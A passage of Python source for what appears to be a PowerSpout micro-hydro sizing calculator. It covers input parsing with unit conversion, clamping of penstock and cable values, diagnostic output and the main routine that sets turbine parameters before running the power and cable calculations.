length\r\n site.penstock_len = 3 # Was site.penstock_head before instead of 3m as min length\r\n\r\n\r\ndef fetchpenefftarg(): # Get this site data entered. Only called from fetchall()\r\n temp = site.penstock_eff_target\r\n\r\n site.penstock_eff_target = float(textread(siteGUI.GUI_penstock_eff_target, '%', '%')) / float(\r\n 100) # %% in key removed\r\n\r\n if ((temp <= 1) and (temp >= 0.66) and (site.penstock_eff_target == 0)):\r\n site.penstock_eff_target = temp\r\n else:\r\n if ((temp != 0) or (site.penstock_eff_target != 0)):\r\n if (site.penstock_eff_target > 0.995):\r\n site.penstock_eff_target = 0.99\r\n if (site.penstock_eff_target < 0.66666666):\r\n site.penstock_eff_target = 0.66666666\r\n\r\n\r\ndef fetchpendia(): # Get this site data entered. Only called from fetchall()\r\n temp = site.penstock_dia\r\n\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n site.penstock_dia = textread(siteGUI.GUI_penstock_dia, 'mm', 'm')\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n site.penstock_dia = textread(siteGUI.GUI_penstock_dia, 'in', 'm')\r\n\r\n if ((temp <= 2) and (temp >= 0.01) and (site.penstock_dia == 0)):\r\n site.penstock_dia = temp\r\n else:\r\n if ((temp != 0) or (site.penstock_head != 0)):\r\n if (site.penstock_dia > 2):\r\n site.penstock_dia = 2\r\n if (site.penstock_dia < 0.01):\r\n site.penstock_dia = 0.01\r\n\r\n\r\ndef fetchNum_PS(): # Get this site data entered. Only called from newNoPS() and LockPS()\r\n temp = site.Num_PS\r\n\r\n site.Num_PS = int(siteGUI.GUI_Num_PS)\r\n\r\n if ((temp <= 10) and (temp >= 1) and (site.Num_PS == 0)):\r\n site.Num_PS = temp\r\n else:\r\n if ((temp != 0) or (site.Num_PS != 0)):\r\n if (site.Num_PS > site.MaxPS):\r\n site.Num_PS = site.MaxPS\r\n if (site.Num_PS < 1):\r\n site.Num_PS = 1\r\n\r\n\r\ndef fetchNumNoz(): # Get this site data entered. Only called from newNoPS() and LockPS()\r\n temp = site.turbine_nozzles\r\n site.turbine_nozzles = int(siteGUI.GUI_turbine_nozzles)\r\n max_nozzles = 2\r\n if (site.PStype[:3] == 'TRG'):\r\n max_nozzles = 4\r\n\r\n if ((temp <= 2) and (temp >= 1) and (site.turbine_nozzles == 0)):\r\n site.turbine_nozzles = temp\r\n else:\r\n if ((temp != 0) or (site.turbine_nozzles != 0)):\r\n if (site.turbine_nozzles > max_nozzles):\r\n site.turbine_nozzles = max_nozzles\r\n if (site.turbine_nozzles < 1):\r\n site.turbine_nozzles = 1\r\n\r\n\r\ndef fetchcablelen(): # Get this site data entered. Only called from fetchall()\r\n temp = site.cable_len\r\n\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n site.cable_len = textread(siteGUI.GUI_cable_len, 'm', 'm')\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n site.cable_len = textread(siteGUI.GUI_cable_len, 'ft', 'm')\r\n\r\n if ((temp <= 4000) and (temp >= 2) and (site.cable_len == 0)):\r\n site.cable_len = temp\r\n else:\r\n if ((temp != 0) or (site.penstock_head != 0)):\r\n if (site.cable_len > 4000):\r\n site.cable_len = 4000\r\n if (site.cable_len < 2):\r\n site.cable_len = 2\r\n\r\n\r\ndef fetchloadV(): # Get this site data entered. Only called from fetchall()\r\n temp = site.design_cable_voltage\r\n\r\n site.design_cable_voltage = textread(siteGUI.GUI_Dload_V, 'V', 'V')\r\n\r\n if ((temp <= site.Vlimit[siteGUI.GUI_PStype]) and (temp >= 10) and (site.design_cable_voltage == 0)):\r\n site.design_cable_voltage = temp\r\n else:\r\n if ((temp != 0) or (site.design_cable_voltage != 0)):\r\n if (site.design_cable_voltage > site.Vlimit[siteGUI.GUI_PStype]):\r\n site.design_cable_voltage = site.Vlimit[siteGUI.GUI_PStype]\r\n if (site.design_cable_voltage < 10):\r\n site.design_cable_voltage = 10\r\n\r\n site.cable_voltage = site.design_cable_voltage\r\n\r\n\r\ndef fetchcableefftarg(): # Get this site data entered. Only called from fetchall()\r\n temp = site.cable_eff_target\r\n\r\n site.cable_eff_target = float(textread(siteGUI.GUI_cable_eff_target, '%', '%')) / float(100) # %% in key removed\r\n\r\n if ((temp <= 1) and (temp >= 0.5) and (site.cable_eff_target == 0)):\r\n site.cable_eff_target = temp\r\n else:\r\n if ((temp != 0) or (site.penstock_eff_target != 0)):\r\n if (site.cable_eff_target > 0.995):\r\n site.cable_eff_target = 0.99\r\n if (site.cable_eff_target < 0.5):\r\n site.cable_eff_target = 0.5\r\n\r\n\r\ndef fetchcablesize(): # Get this site data entered. Only called from fetchall()\r\n temp = site.cable_size\r\n\r\n site.cable_size = float(textread(siteGUI.GUI_cable_size, 'mm^2', 'mm^2'))\r\n\r\n if ((temp <= 170) and (temp >= 0.5) and (site.cable_size == 0)):\r\n site.cable_size = temp\r\n else:\r\n if ((temp != 0) or (site.cable_size != 0)):\r\n if (site.cable_size > 170):\r\n site.cable_size = 170\r\n if (site.cable_size < 0.5):\r\n site.cable_size = 0.5\r\n\r\n # Check are if mm mode and round as needed\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Checking mm mode' + siteGUI.GUI_diag_cr\r\n if (siteGUI.GUI_cable_mm_AWG == 'mm'):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'found mm mode' + siteGUI.GUI_diag_cr\r\n site.cable_size = round(site.cable_size, 1)\r\n createAWG()\r\n\r\n\r\ndef fetchAWG(): # Get this site data entered. Only called from fetchall()\r\n pointer = 0\r\n value = str('')\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Inputted cable AWG' + siteGUI.GUI_cable_size + siteGUI.GUI_diag_cr\r\n while (len(siteGUI.GUI_cable_AWG) > 0):\r\n try:\r\n digi = str(siteGUI.GUI_cable_AWG[pointer])\r\n except:\r\n break\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'digit in input ' + digi + siteGUI.GUI_diag_cr\r\n if ((digi == ' ') or (digi == '.') or (digi == 'A')):\r\n pointer = pointer + 1\r\n break\r\n value = value + digi\r\n pointer = pointer + 1\r\n\r\n create_mm_4_AWG(value)\r\n\r\n\r\ndef textread(texttoread, inp_unit,\r\n calc_unit): # Reads in a string with input sensability checks and does unit conversion as appropiate\r\n restofline = ''\r\n pointer = 0\r\n value = float(0)\r\n prepostdot = 'pre'\r\n decimals = float(0.1)\r\n while (len(texttoread) > 0):\r\n digi = texttoread[pointer]\r\n if (digi == ' '):\r\n pointer = pointer + 1\r\n try:\r\n dig = texttoread[pointer + 1]\r\n except:\r\n break\r\n continue\r\n\r\n if (digi == '.'):\r\n prepostdot = 'post'\r\n pointer = pointer + 1\r\n continue\r\n\r\n try:\r\n digit = int(digi)\r\n except:\r\n break\r\n\r\n if (prepostdot == 'pre'):\r\n value = value * 10 + digit\r\n else:\r\n value = value + float(decimals * digit)\r\n decimals = decimals / float(10)\r\n\r\n try:\r\n dig = texttoread[pointer + 1]\r\n except:\r\n pointer = pointer + 1\r\n break\r\n\r\n pointer = pointer + 1\r\n\r\n if (pointer > 0):\r\n try:\r\n restofline = texttoread[pointer:]\r\n except:\r\n restofline = ''\r\n\r\n restofline = restofline.rstrip()\r\n # convert dictionary items gives multiplier for wanted-source unit order\r\n\r\n whichC = (calc_unit + '-' + restofline).lower()\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Conversion being used \" + whichC + siteGUI.GUI_diag_cr\r\n\r\n\r\n try:\r\n converter = site.convert[whichC]\r\n except:\r\n whichC = calc_unit + '-' + inp_unit\r\n try:\r\n converter = site.convert[whichC]\r\n except:\r\n converter = 1\r\n\r\n value = value * converter\r\n return (value)\r\n\r\n\r\ndef reportGUI():\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_initial_data \" + str(\r\n siteGUI.GUI_initial_data) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_process_option \" + str(\r\n siteGUI.GUI_process_option) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_meas_sys \" + str(\r\n siteGUI.GUI_meas_sys) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_PStype \" + str(\r\n siteGUI.GUI_PStype) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_avail_Wflow \" + str(\r\n siteGUI.GUI_avail_Wflow) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Wflow \" + str(\r\n siteGUI.GUI_Wflow) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_penstock_head \" + str(\r\n siteGUI.GUI_penstock_head) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_eff_head \" + str(\r\n siteGUI.GUI_eff_head) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_penstock_len \" + str(\r\n siteGUI.GUI_penstock_len) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_penstock_eff_target \" + str(\r\n siteGUI.GUI_penstock_eff_target) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_penstock_dia \" + str(\r\n siteGUI.GUI_penstock_dia) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_PenSLkd \" + str(\r\n siteGUI.GUI_PenSLkd) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Num_PS \" + str(\r\n siteGUI.GUI_Num_PS) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_turbine_nozzles \" + str(\r\n siteGUI.GUI_turbine_nozzles) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Num_PS_Lkd \" + str(\r\n siteGUI.GUI_Num_PS_Lkd) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_jet_dia \" + str(\r\n siteGUI.GUI_jet_dia) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_actual_pipe_eff \" + str(\r\n siteGUI.GUI_actual_pipe_eff) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Opr_rpm \" + str(\r\n siteGUI.GUI_Opr_rpm) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_PS_pwr_ea \" + str(\r\n siteGUI.GUI_PS_pwr_ea) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Actual_turbine_electric_pwr \" + str(\r\n siteGUI.GUI_Actual_turbine_electric_pwr) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_eff_target \" + str(\r\n siteGUI.GUI_cable_eff_target) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_len \" + str(\r\n siteGUI.GUI_cable_len) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Dload_V \" + str(\r\n siteGUI.GUI_Dload_V) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Aload_V \" + str(\r\n siteGUI.GUI_Aload_V) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_LockCable \" + str(\r\n siteGUI.GUI_LockCable) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_material \" + str(\r\n siteGUI.GUI_cable_material) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_size \" + str(\r\n siteGUI.GUI_cable_size) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_AWG \" + str(\r\n siteGUI.GUI_cable_AWG) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_mm_AWG \" + str(\r\n siteGUI.GUI_cable_mm_AWG) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_mm_title \" + str(\r\n siteGUI.GUI_cable_mm_title) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_AWG_title \" + str(\r\n siteGUI.GUI_cable_AWG_title) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_dia_mm_sld \" + str(\r\n siteGUI.GUI_cable_dia_mm_sld) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_dia_mm_str \" + str(\r\n siteGUI.GUI_cable_dia_mm_str) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_dia_in_sld \" + str(\r\n siteGUI.GUI_cable_dia_in_sld) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_dia_in_str \" + str(\r\n siteGUI.GUI_cable_dia_in_str) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_amps \" + str(\r\n siteGUI.GUI_cable_amps) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_actual_cable_eff \" + str(\r\n siteGUI.GUI_actual_cable_eff) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_cable_Vgen \" + str(\r\n siteGUI.GUI_cable_Vgen) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_Load_pwr \" + str(\r\n siteGUI.GUI_Load_pwr) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_design_notes_hydro \" + str(\r\n siteGUI.GUI_design_notes_hydro) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_design_notes_elec \" + str(\r\n siteGUI.GUI_design_notes_elec) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_design_notes_safety \" + str(\r\n siteGUI.GUI_design_notes_safety) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" GUI_revision \" + str(\r\n siteGUI.GUI_revision) + siteGUI.GUI_diag_cr + siteGUI.GUI_diag_cr + siteGUI.GUI_diag_cr\r\n\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \"site.Actual_turbine_electric_pwr \" + str(\r\n site.Actual_turbine_electric_pwr) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" site.Num_PS \" + str(site.Num_PS) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" site.PSeff \" + str(site.PSeff) + siteGUI.GUI_diag_cr\r\n\r\n\r\n# ALL PROCESSING of user data comes here\r\n# ALL PROCESSING of user data comes here\r\n# ALL PROCESSING of user data comes here\r\n# ALL PROCESSING of user data comes here\r\n# ALL PROCESSING of user data comes here\r\n# ALL PROCESSING of user data comes here\r\n# ALL PROCESSING of user data comes here\r\ndef process_here(*args):\r\n site.tracer = siteGUI.GUI_PStype\r\n\r\n siteGUI.GUI_diag = 'Before' + siteGUI.GUI_diag_cr # The initiation of # siteGUI.GUI_diag = ''\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + 'HP det |' + site.PStype[-2:] + '|' + siteGUI.GUI_diag_cr\r\n\r\n reportGUI()\r\n\r\n site.alarms = [] # Clear the alarm list\r\n site.UWW_iterations = 0\r\n site.jet_iterations = 0\r\n site.penstock_iterations = 0\r\n site.PStype = siteGUI.GUI_PStype\r\n\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + 'HP det |' + site.PStype[-2:] + '|' + siteGUI.GUI_diag_cr\r\n\r\n if (site.PStype[-2:] == 'HP'):\r\n site.pelton_Wuse_rpm = 1.65\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + 'HP detected' + siteGUI.GUI_diag_cr # The initiation of # siteGUI.GUI_diag = ''\r\n else:\r\n site.pelton_Wuse_rpm = 1.42\r\n\r\n if (site.PStype[:3] == 'PLT' or site.PStype[:3] == 'TRG'):\r\n site.dis_coeff = 0.83\r\n else:\r\n site.dis_coeff = 1\r\n\r\n if (site.PStype[:3] != 'PLT' and site.PStype[:3] != 'TRG'):\r\n site.runaway_rpm_limit = 2000 # Max safe speed for turbine\r\n site.dis_coeff = 1 # Area of jet is actually smaller than area of nozzle exit.\r\n site.turbine_eff = 0.7 # Efficiency ratio for pelton turbine Gets updated by calcs once water power is known\r\n site.SD_eff = 0.7 # Efficiency ratio for Smart Drive generator Gets updated by calcs once water power is known\r\n site.turbine_dia = 0.23 # Diameter for the pelton wheel in metres\r\n site.eps = 1.25e-5 # Used in pipe loss calc\r\n site.turbine_spd_jet = float(0.45) # Speed of pelton buckets relative to jet velocity\r\n site.Num_PS = 1 # Number of turbines\r\n site.turbine_nozzles = 2 # Number of nozzles on each turbine\r\n site.One_jet_water_W_lim = 800 # Water power limit for one jet to get expected warrenteed bearing life\r\n site.One_jet_dia_lim = 0.02 # Biggest jet diameter in m that works for a turbine\r\n site.Two_jet_dia_lim = 0.025 # Biggest jet size to use in a 2 jet turbine. Only applies when very low head\r\n site.pelton_Wuse_rpm = 1.42 # Watts of water jet power required for the PS\r\n site.ideal_jet_sqr_mm = 0 # Ideal total sqr mm jet size to use for this penstock, head, lps combination\r\n site.UWWatts_per_SD = 0 # Used Water Watts per PS turbine. Used to figure out correct efficiency levels\r\n\r\n if (site.PStype[-2:] == 'HP'):\r\n site.pelton_Wuse_rpm = 1.65\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + 'HP detected' + siteGUI.GUI_diag_cr # The initiation of # siteGUI.GUI_diag = ''\r\n else:\r\n site.pelton_Wuse_rpm = 1.42\r\n\r\n # This table maps out the effeciency degradation at low power levels.\r\n # Uses water jet power for x coordinates and y coordinates are put into SD_eff and turbine_eff\r\n # Software uses straight line interpolation between points and level above top point\r\n site.eff = {0: 0, 25: 30, 50: 36, 100: 40, 200: 45, 300: 47, 600: 49.5, 1000: 51, 1600: 52, 2500: 54, 3500: 53,\r\n 6000: 52} # (Water power W, % eff)\r\n site.lpseff = {0: 100, 0.1: 100, 1000000: 100} # ( lps, % eff)\r\n\r\n if (site.PStype[:3] == 'PLT'):\r\n site.runaway_rpm_limit = 3000 # Max safe speed for turbine\r\n site.dis_coeff = 0.83 # Area of jet is actually smaller than area of nozzle exit.\r\n site.turbine_eff = 0.7 # Efficiency ratio for pelton turbine Gets updated by calcs once water power is known\r\n site.SD_eff = 0.7 # Efficiency ratio for Smart Drive generator Gets updated by calcs once water power is known\r\n site.turbine_dia = 0.23 # Diameter for the pelton wheel in metres\r\n site.eps = 1.25e-5 # Used in pipe loss calc\r\n site.turbine_spd_jet = float(0.45) # Speed of pelton buckets relative to jet velocity\r\n site.Num_PS = 1 # Number of turbines\r\n site.turbine_nozzles = 2 # Number of nozzles on each turbine\r\n site.One_jet_water_W_lim = 800 # Water power limit for one jet to get expected warrenteed bearing life\r\n site.One_jet_dia_lim = 0.02 # Biggest jet diameter in m that works for a turbine\r\n site.Two_jet_dia_lim = 0.025 # Biggest jet size to use in a 2 jet turbine. Only applies when very low head\r\n site.pelton_Wuse_rpm = 1.42 # Watts of water jet power required for the PS\r\n site.ideal_jet_sqr_mm = 0 # Ideal total sqr mm jet size to use for this penstock, head, lps combination\r\n site.UWWatts_per_SD = 0 # Used Water Watts per PS turbine. Used to figure out correct efficiency levels\r\n\r\n if (site.PStype[-2:] == 'HP'):\r\n site.pelton_Wuse_rpm = 1.65\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + 'HP detected' + siteGUI.GUI_diag_cr # The initiation of # siteGUI.GUI_diag = ''\r\n else:\r\n site.pelton_Wuse_rpm = 1.42\r\n\r\n # This table maps out the effeciency degradation at low power levels.\r\n # Uses water jet power for x coordinates and y coordinates are put into SD_eff and turbine_eff\r\n # Software uses straight line interpolation between points and level above top point\r\n site.eff = {0: 0, 25: 30, 50: 36, 100: 40, 200: 45, 300: 47, 600: 49.5, 1000: 51, 1600: 52, 2500: 54, 3500: 53,\r\n 6000: 52}\r\n site.lpseff = {0: 100, 0.1: 100, 1000000: 100}\r\n\r\n site.max_jets = 2\r\n if (site.PStype[:3] == 'TRG'):\r\n site.runaway_rpm_limit = 3000 # Max safe speed for turbine\r\n site.dis_coeff = 0.83 # Area of jet is actually smaller than area of nozzle exit.\r\n site.turbine_eff = 0.785 # Efficiency ratio for pelton turbine Gets updated by calcs once water power is known\r\n site.SD_eff = 0.7 # Efficiency ratio for Smart Drive generator Gets updated by calcs once water power is known\r\n site.turbine_dia = 0.14513 # Diameter for the pelton wheel in metres\r\n site.eps = 1.25e-5 # Used in pipe loss calc\r\n site.turbine_spd_jet = float(0.6135) # Speed of pelton buckets relative to jet velocity\r\n site.Num_PS = 1 # Number of turbines\r\n site.turbine_nozzles = 4 # Number of nozzles on each turbine\r\n site.One_jet_water_W_lim = 727 # Water power limit for one jet to get expected warrenteed bearing life 400W output target @ 55% eff\r\n site.One_jet_dia_lim = 0.025 # Biggest jet diameter in m that works for a turbine\r\n site.Two_jet_dia_lim = 0.025 # Biggest jet size to use in a 2 jet turbine. Only applies when very low head\r\n site.pelton_Wuse_rpm = 1.65 # Watts of water jet power required for the PS\r\n site.ideal_jet_sqr_mm = 0 # Ideal total sqr mm jet size to use for this penstock, head, lps combination\r\n site.max_jets = 4 # Need to know how many jets there could be\r\n\r\n if (site.PStype[-2:] == 'HP'):\r\n site.pelton_Wuse_rpm = 1.63\r\n else:\r\n site.pelton_Wuse_rpm = 1.282\r\n\r\n site.UWWatts_per_SD = 0 # Used Water Watts per PS turbine. Used to figure out correct efficiency levels\r\n\r\n # This table maps out the effeciency degradation at low power levels.\r\n # Uses water jet power for x coordinates and y coordinates in % are put into SD_eff and turbine_eff\r\n # SD_eff * turbine_eff = site.eff[%]\r\n # Software uses straight line interpolation between points and level above top point\r\n site.eff = {0: 0, 182: 55, 6000: 55}\r\n site.lpseff = {0: 0, 0.1: 50, 8: 85, 9: 100, 1000000: 100}\r\n\r\n if (siteGUI.GUI_process_option == 'basicdata'):\r\n if (siteGUI.GUI_initial_data == 1):\r\n siteGUI.GUI_Num_PS_Lkd = 0\r\n siteGUI.GUI_PenSLkd = 0\r\n\r\n if (siteGUI.GUI_PStype[0:5] == 'ME100'):\r\n siteGUI.GUI_Dload_V = str(90)\r\n if (siteGUI.GUI_PStype[0:5] == 'ME120'):\r\n siteGUI.GUI_Dload_V = str(105)\r\n if (siteGUI.GUI_PStype[0:5] == 'ME140'):\r\n siteGUI.GUI_Dload_V = str(125)\r\n if (siteGUI.GUI_PStype[0:5] == 'ME250'):\r\n siteGUI.GUI_Dload_V = str(230)\r\n if (siteGUI.GUI_PStype[0:5] == 'GE400'):\r\n siteGUI.GUI_Dload_V = str(350)\r\n if (siteGUI.GUI_PStype[0:3] == 'PLT'):\r\n siteGUI.GUI_Dload_V = str(80)\r\n if (siteGUI.GUI_PStype[0:6] == 'PLT HP'):\r\n siteGUI.GUI_Dload_V = str(80)\r\n if (siteGUI.GUI_PStype[0:3] == 'TRG'):\r\n siteGUI.GUI_Dload_V = str(80)\r\n if (siteGUI.GUI_PStype[0:3] == 'TRG HP'):\r\n siteGUI.GUI_Dload_V = str(80)\r\n\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_cable_mm_AWG = 'mm'\r\n siteGUI.GUI_cable_mm_title = 'Cable cross section'\r\n siteGUI.GUI_cable_AWG_title = 'Next size up cable'\r\n else:\r\n siteGUI.GUI_cable_mm_AWG = 'AWG'\r\n siteGUI.GUI_cable_mm_title = 'Metric cross section'\r\n siteGUI.GUI_cable_AWG_title = 'Cable size'\r\n\r\n if (siteGUI.GUI_PStype[0:2] == 'BE'):\r\n site.design_cable_voltage = 55\r\n if (siteGUI.GUI_PStype[0:5] == 'ME100'):\r\n site.design_cable_voltage = 90\r\n if (siteGUI.GUI_PStype[0:5] == 'ME120'):\r\n site.design_cable_voltage = 105\r\n if (siteGUI.GUI_PStype[0:5] == 'ME140'):\r\n site.design_cable_voltage = 125\r\n if (siteGUI.GUI_PStype[0:5] == 'ME250'):\r\n site.design_cable_voltage = 230\r\n if (siteGUI.GUI_PStype[0:5] == 'GE400'):\r\n site.design_cable_voltage = 350\r\n if (siteGUI.GUI_PStype[0:3] == 'PLT'):\r\n site.design_cable_voltage = 80\r\n if (siteGUI.GUI_PStype[0:6] == 'PLT HP'):\r\n site.design_cable_voltage = 80\r\n if (siteGUI.GUI_PStype[0:3] == 'TRG'):\r\n site.design_cable_voltage = 80\r\n if (siteGUI.GUI_PStype[0:3] == 'TRG HP'):\r\n site.design_cable_voltage = 80\r\n\r\n fetchhead() # important\r\n\r\n fetchlps() # important\r\n\r\n put_lps()\r\n put_head()\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + str(siteGUI.GUI_initial_data) + ' ' + str(site.Vlimit[ siteGUI.GUI_PStype ]) + ' ' + str(site.lps) + ' ' + str(site.penstock_head)+ siteGUI.GUI_diag_cr\r\n\r\n\r\n if ((siteGUI.GUI_initial_data == 1) or (site.Vlimit[siteGUI.GUI_PStype] == 0) or (site.lps == 0) or (\r\n site.penstock_head == 0)): # Test if have enough preliminary data\r\n if ((site.Vlimit[siteGUI.GUI_PStype] != 350) and (site.lps != 0) and (\r\n site.penstock_head != 0)): # Test if have enough preliminary data\r\n site.penstock_len = 5 * site.penstock_head\r\n site.penstock_eff_target = 0.9\r\n site.cable_eff_target = 0.95\r\n\r\n site.cable_voltage = site.design_cable_voltage\r\n # siteGUI.GUI_Dload_V = site.cable_voltage\r\n siteGUI.GUI_initial_data = 0\r\n\r\n PowerSpout_calc() # Figure out hydro and PS output power for this number of turbines and jets\r\n CalcCable() # Calculate the cable size required for design loss and confirm results numbers. Includes min conductor size for amps check\r\n reportAll() # Display all results to gui and print to terminal window for diagnostics\r\n\r\n\r\n else: # Else means have working data and just need to update for new head, lps or PS type\r\n fetchall()\r\n PowerSpout_calc()\r\n CalcCable()\r\n reportAll()\r\n\r\n # What to do for new PS type\r\n if (siteGUI.GUI_process_option == 'PSchange'):\r\n # siteGUI.GUI_Num_PS_Lkd = 0 Leave lock as it was. Perhaps user knows number of PowerSpouts for budget reasons\r\n if (siteGUI.GUI_PStype[0:3] == 'TRG'):\r\n siteGUI.GUI_turbine_nozzles = 4\r\n else:\r\n siteGUI.GUI_turbine_nozzles = 2\r\n\r\n fetchall()\r\n if (siteGUI.GUI_initial_data == 0): # Check if have any data before calling calculations to avoid / by 0 error\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do for new penstock length\r\n if (siteGUI.GUI_process_option == 'penstock'):\r\n fetchall()\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do for new penstock effeciency target\r\n if (siteGUI.GUI_process_option == 'penstockeff'):\r\n fetchall()\r\n siteGUI.GUI_PenSLkd = 0\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"#########################################################################\" + siteGUI.GUI_diag_cr\r\n # What to do when user enters a specific penstock diameter\r\n if (siteGUI.GUI_process_option == 'pendia'):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Doing a new penstock diameter \" + str(siteGUI.GUI_PenSLkd) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_PenSLkd = 1\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"See new penstock locked \" + str(siteGUI.GUI_PenSLkd) + siteGUI.GUI_diag_cr\r\n\r\n # What to do when user presses the penstock size lock or has been a new penstock size given\r\n if ((siteGUI.GUI_process_option == 'pendiaLk') or (siteGUI.GUI_process_option == 'pendia')):\r\n fetchall() # User entered new data\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user enters a new number of PowerSpouts or PowerSpout jets\r\n if (siteGUI.GUI_process_option == 'SetNumPSandJ'):\r\n siteGUI.GUI_Num_PS_Lkd = 1\r\n\r\n # What to do when user presses the PowerSpout numer/jets lock or enters a new number of PS/jets\r\n if ((siteGUI.GUI_process_option == 'SetLkNumPSandJ') or (siteGUI.GUI_process_option == 'SetNumPSandJ')):\r\n fetchall()\r\n # siteGUI.GUI_Num_PS is used in PowerSpout_calc() to effect result\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. 